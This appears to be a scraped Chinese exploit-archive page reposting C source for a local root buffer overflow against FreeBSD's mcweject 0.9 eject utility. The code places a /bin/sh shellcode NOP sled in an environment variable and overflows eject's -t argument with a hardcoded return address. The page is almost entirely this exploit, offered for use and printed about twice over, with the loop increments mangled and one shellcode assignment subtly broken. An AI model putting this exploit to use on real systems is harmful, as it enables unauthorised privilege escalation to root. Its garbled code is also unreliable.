FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit
互聯(lián)網(wǎng) 發(fā)布時(shí)間：2008-10-08 21:03:44 作者：佚名 
我要評(píng)論
我要評(píng)論// ejecsploit.c - local root exploit for bsd's eject.c
// harry
// vuln found by kokanin (you 31337!!! ;))
// thanks to sacrine and all the other netric guys!!! you rule :)
#include <stdio.h>
#include <stdlib.h>
// ejecsploit.c - local root exploit for bsd's eject.c
// harry
// vuln found by kokanin (you 31337!!! ;))
// thanks to sacrine and all the other netric guys!!! you rule :)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LEN 1264
#define NOP 0x90
extern char** environ;
int main(){
char buf[LEN];
char* ptr;
char* arg[4];
unsigned int ret, i;
char shellcode[]="\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd"
"\x80\xe8\xe4\xff\xff\xff/bin/sh";
// hardcoded... too boneidle to fix this
ret = 0xbfbfee16;
char envshell[4096];
ptr = envshell;
for (i = 0; i < 4096 - strlen(shellcode) - 1; i ) *(ptr ) = NOP;
for (i = 0; i < strlen(shellcode); i ) *(ptr ) = shellcode;
*(ptr) = 0x0;
memcpy (envshell, "BLEH=",5);
putenv(envshell);
memset (buf, 0x41, sizeof(buf));
buf[LEN-5] = (char) ( 0x000000ff & ret);
buf[LEN-4] = (char) ((0x0000ff00 & ret) >> 8);
buf[LEN-3] = (char) ((0x00ff0000 & ret) >> 16);
buf[LEN-2] = (char) ((0xff000000 & ret) >> 24);
buf[LEN-1] = 0x0;
arg[0] = "/usr/local/sbin/eject";
arg[1] = "-t";
arg[2] = buf;
arg[3] = NULL;
execve (arg[0], arg, environ);
return 0;
}
// harry
// vuln found by kokanin (you 31337!!! ;))
// thanks to sacrine and all the other netric guys!!! you rule :)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LEN 1264
#define NOP 0x90
extern char** environ;
int main(){
char buf[LEN];
char* ptr;
char* arg[4];
unsigned int ret, i;
char shellcode[]="\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd"
"\x80\xe8\xe4\xff\xff\xff/bin/sh";
// hardcoded... too boneidle to fix this
ret = 0xbfbfee16;
char envshell[4096];
ptr = envshell;
for (i = 0; i < 4096 - strlen(shellcode) - 1; i ) *(ptr ) = NOP;
for (i = 0; i < strlen(shellcode); i ) *(ptr ) = shellcode;
*(ptr) = 0x0;
memcpy (envshell, "BLEH=",5);
putenv(envshell);
memset (buf, 0x41, sizeof(buf));
buf[LEN-5] = (char) ( 0x000000ff & ret);
buf[LEN-4] = (char) ((0x0000ff00 & ret) >> 8);
buf[LEN-3] = (char) ((0x00ff0000 & ret) >> 16);
buf[LEN-2] = (char) ((0xff000000 & ret) >> 24);
buf[LEN-1] = 0x0;
arg[0] = "/usr/local/sbin/eject";
arg[1] = "-t";
arg[2] = buf;
arg[3] = NULL;
execve (arg[0], arg, environ);
return 0;
}
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